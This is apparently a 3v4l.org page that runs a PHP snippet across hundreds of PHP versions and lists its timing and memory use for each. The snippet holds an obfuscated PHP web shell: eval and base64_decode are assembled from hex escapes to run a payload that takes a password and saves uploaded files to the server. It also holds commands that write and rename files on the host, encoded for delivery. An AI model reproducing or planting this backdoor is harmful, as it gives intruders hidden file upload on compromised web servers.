3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = ' <?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("./rape.php",\'test\');'; $v = 'rename("data.lib.txt", "data.lib.txt2");'; echo base64_encode($v);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.75
8.3.50.0110.00921.89
8.3.40.0070.01018.62
8.3.30.0000.01518.95
8.3.20.0060.00320.33
8.3.10.0080.00023.66
8.3.00.0000.00820.84
8.2.180.0120.00318.41
8.2.170.0090.00622.96
8.2.160.0000.01320.35
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0050.00326.16
8.2.120.0050.00320.85
8.2.110.0030.00722.30
8.2.100.0080.00417.91
8.2.90.0080.00019.10
8.2.80.0040.00417.97
8.2.70.0040.00417.62
8.2.60.0030.00518.03
8.2.50.0000.00918.07
8.2.40.0090.00021.10
8.2.30.0070.00018.26
8.2.20.0080.00017.79
8.2.10.0070.00018.05
8.2.00.0050.00317.49
8.1.280.0100.00325.92
8.1.270.0040.00423.90
8.1.260.0030.00626.35
8.1.250.0070.00028.09
8.1.240.0070.00319.21
8.1.230.0070.00319.61
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0030.00617.35
8.1.190.0000.00817.11
8.1.180.0000.00718.10
8.1.170.0040.00418.46
8.1.160.0050.00321.88
8.1.150.0040.00418.66
8.1.140.0040.00417.40
8.1.130.0030.00317.79
8.1.120.0040.00417.43
8.1.110.0030.00517.30
8.1.100.0030.00517.39
8.1.90.0000.00717.30
8.1.80.0000.00717.44
8.1.70.0000.00717.28
8.1.60.0040.00417.54
8.1.50.0040.00417.38
8.1.40.0030.00517.46
8.1.30.0030.00517.43
8.1.20.0000.00717.42
8.1.10.0070.00317.53
8.1.00.0030.00517.40
8.0.300.0080.00018.77
8.0.290.0040.00416.75
8.0.280.0070.00018.39
8.0.270.0030.00317.25
8.0.260.0000.00617.23
8.0.250.0000.00616.86
8.0.240.0030.00316.95
8.0.230.0070.00016.89
8.0.220.0080.00016.80
8.0.210.0000.00716.75
8.0.200.0070.00016.89
8.0.190.0000.00816.86
8.0.180.0040.00416.75
8.0.170.0070.00016.87
8.0.160.0030.00316.79
8.0.150.0000.00716.77
8.0.140.0030.00316.85
8.0.130.0000.00613.23
8.0.120.0000.00816.77
8.0.110.0070.00016.84
8.0.100.0070.00016.87
8.0.90.0000.00816.85
8.0.80.0060.00916.84
8.0.70.0000.00816.72
8.0.60.0040.00416.82
8.0.50.0030.00616.65
8.0.30.0100.00816.96
8.0.20.0120.00917.40
8.0.10.0050.00216.98
8.0.00.0100.00716.64
7.4.330.0000.00515.02
7.4.320.0030.00316.52
7.4.300.0050.00216.55
7.4.290.0030.00316.47
7.4.280.0000.00816.58
7.4.270.0070.00416.54
7.4.260.0030.00316.58
7.4.250.0040.00416.46
7.4.240.0050.00216.51
7.4.230.0070.00016.48
7.4.220.0110.00716.52
7.4.210.0060.00816.53
7.4.200.0000.00716.45
7.4.190.0000.00716.63
7.4.160.0090.01016.49
7.4.150.0100.01317.40
7.4.140.0160.00217.86
7.4.130.0070.00916.58
7.4.120.0060.01016.45
7.4.110.0060.01216.38
7.4.100.0100.00716.45
7.4.90.0070.01016.43
7.4.80.0040.01419.39
7.4.70.0000.01616.41
7.4.60.0100.01016.47
7.4.50.0030.00616.55
7.4.40.0080.00816.47
7.4.30.0120.00916.44
7.4.00.0040.00814.95
7.3.330.0050.00013.11
7.3.320.0000.00513.00
7.3.310.0040.00416.22
7.3.300.0040.00416.05
7.3.290.0120.00316.19
7.3.280.0100.00816.14
7.3.270.0030.01417.40
7.3.260.0110.00716.50
7.3.250.0160.00816.31
7.3.240.0110.00616.47
7.3.230.0160.00016.39
7.3.210.0040.01516.38
7.3.200.0130.00719.39
7.3.190.0030.01416.21
7.3.180.0100.00616.22
7.3.170.0110.00416.27
7.3.160.0090.00616.47
7.3.120.0070.01014.77
7.2.330.0070.01016.71
7.2.320.0030.01316.43
7.2.310.0120.00916.39
7.2.300.0090.00716.59
7.2.290.0100.00716.55
7.2.00.0110.00719.06
7.1.100.0030.01018.06
7.1.70.0080.00016.80
7.1.60.0070.01819.46
7.1.50.0030.00916.93
7.1.00.0030.07722.45
7.0.200.0200.00016.69
7.0.140.0070.07022.07
7.0.70.0030.08321.69
7.0.60.0070.07021.74
7.0.50.0100.07322.06
7.0.40.0070.08020.07
7.0.30.0100.08020.13
7.0.20.0000.07320.14
7.0.10.0000.07020.07
7.0.00.0030.06320.14
5.6.280.0030.07320.81
5.6.220.0100.08020.56
5.6.210.0100.06320.58
5.6.200.0000.08021.05
5.6.190.0070.08021.11
5.6.180.0100.07021.10
5.6.170.0000.07020.93
5.6.160.0030.04321.05
5.6.150.0000.06321.00
5.6.140.0070.06721.04
5.6.130.0200.07321.03
5.6.120.0000.09021.02
5.6.110.0070.08021.15
5.6.100.0070.08020.99
5.6.90.0070.08020.90
5.6.80.0030.06320.40
5.6.70.0100.06320.44
5.6.60.0070.05020.38
5.6.50.0070.07720.41
5.6.40.0070.07720.41
5.6.30.0070.06320.31
5.6.20.0030.07720.52
5.6.10.0170.06720.27
5.6.00.0100.06020.35
5.5.360.0100.04720.35
5.5.350.0030.04720.39
5.5.340.0100.05720.82
5.5.330.0030.08020.73
5.5.320.0000.08320.82
5.5.310.0100.07020.75
5.5.300.0070.05720.77
5.5.290.0000.05320.85
5.5.280.0070.08020.63
5.5.270.0030.07320.91
5.5.260.0100.07320.89
5.5.250.0030.04320.60
5.5.240.0000.08020.29
5.5.230.0030.08320.31
5.5.220.0130.07020.16
5.5.210.0170.06720.23
5.5.200.0030.08020.24
5.5.190.0000.08320.14
5.5.180.0100.07320.12
5.5.160.0030.08020.05
5.5.150.0030.06319.98
5.5.140.0030.03720.10
5.5.130.0030.05320.26
5.5.120.0070.05720.20
5.5.110.0000.06720.11
5.5.100.0030.06020.07
5.5.90.0030.07320.11
5.5.80.0000.07720.05
5.5.70.0000.05020.05
5.5.60.0130.06320.11
5.5.50.0070.05320.13
5.5.40.0030.08319.99
5.5.30.0000.04319.95
5.5.20.0070.07720.12
5.5.10.0070.06320.13
5.5.00.0030.08320.07
5.4.450.0000.07319.16
5.4.440.0030.08019.46
5.4.430.0070.07319.45
5.4.420.0070.07319.29
5.4.410.0200.06318.98
5.4.400.0000.07019.06
5.4.390.0100.06319.03
5.4.380.0000.06718.81
5.4.370.0000.07319.10
5.4.360.0070.07019.14
5.4.350.0070.07719.09
5.4.340.0100.07718.96
5.4.320.0100.07018.82
5.4.310.0000.08319.10
5.4.300.0030.03318.96
5.4.290.0000.03718.92
5.4.280.0000.04719.04
5.4.270.0000.06318.83
5.4.260.0000.08019.23
5.4.250.0000.07319.11
5.4.240.0000.07018.97
5.4.230.0070.06019.14
5.4.220.0000.08019.02
5.4.210.0030.07318.93
5.4.200.0070.07719.12
5.4.190.0030.05319.09
5.4.180.0000.05719.13
5.4.170.0000.08019.04
5.4.160.0070.06719.02
5.4.150.0100.07019.11
5.4.140.0000.05716.07
5.4.130.0030.05016.31
5.4.120.0100.06016.30
5.4.110.0000.07716.38
5.4.100.0030.07016.28
5.4.90.0100.06316.32
5.4.80.0000.07316.29
5.4.70.0070.07316.41
5.4.60.0030.07016.23
5.4.50.0000.04316.19
5.4.40.0000.05316.29
5.4.30.0030.05316.36
5.4.20.0030.05316.31
5.4.10.0000.07716.34
5.4.00.0030.04715.76
5.3.290.0030.07714.61
5.3.280.0070.07014.54
5.3.270.0100.07014.61
5.3.260.0030.08014.59
5.3.250.0000.08014.51
5.3.240.0030.07314.55
5.3.230.0030.06014.55
5.3.220.0030.07314.55
5.3.210.0030.07714.56
5.3.200.0070.07314.55
5.3.190.0070.05714.41
5.3.180.0000.08014.52
5.3.170.0030.07714.51
5.3.160.0030.08014.54
5.3.150.0030.05014.41
5.3.140.0070.07314.54
5.3.130.0030.07014.40
5.3.120.0030.04714.54
5.3.110.0100.06314.41
5.3.100.0100.05013.99
5.3.90.0130.04313.96
5.3.80.0000.07014.00
5.3.70.0000.07713.77
5.3.60.0030.07713.93
5.3.50.0070.05713.90
5.3.40.0030.06313.91
5.3.30.0030.06013.89
5.3.20.0000.07713.54
5.3.10.0030.05313.43
5.3.00.0100.06313.63
5.2.170.0070.05012.44
5.2.160.0000.06012.44
5.2.150.0000.06312.44
5.2.140.0030.05312.44
5.2.130.0030.05712.44
5.2.120.0000.05712.44
5.2.110.0000.06712.44
5.2.100.0000.05012.44
5.2.90.0100.05712.44
5.2.80.0000.06712.44
5.2.70.0000.03312.44
5.2.60.0070.05012.44
5.2.50.0100.05712.44
5.2.40.0070.03712.44
5.2.30.0100.04012.44
5.2.20.0000.06312.44
5.2.10.0030.03012.44
5.2.00.0100.03012.44
5.1.60.0000.02712.44
5.1.50.0030.05312.44
5.1.40.0000.05312.44
5.1.30.0030.04712.44
5.1.20.0000.05012.44
5.1.10.0100.04312.44
5.1.00.0030.04012.44
5.0.50.0030.04312.44
5.0.40.0030.04312.44
5.0.30.0030.06312.44
5.0.20.0000.04712.44
5.0.10.0000.04312.44
5.0.00.0100.05312.44
4.4.90.0030.02012.44
4.4.80.0000.03712.44
4.4.70.0000.03712.44
4.4.60.0030.03712.44
4.4.50.0070.02312.44
4.4.40.0070.05312.44
4.4.30.0030.03012.44
4.4.20.0000.02012.44
4.4.10.0000.03012.44
4.4.00.0000.05312.44
4.3.110.0000.03012.44
4.3.100.0000.03312.44
4.3.90.0000.03712.44
4.3.80.0030.04312.44
4.3.70.0000.02312.44
4.3.60.0000.03312.44
4.3.50.0000.03712.44
4.3.40.0000.03712.44
4.3.30.0030.03312.44
4.3.20.0070.02712.44
4.3.10.0000.03312.44
4.3.00.0100.02012.44

preferences:
40.42 ms | 401 KiB | 5 Q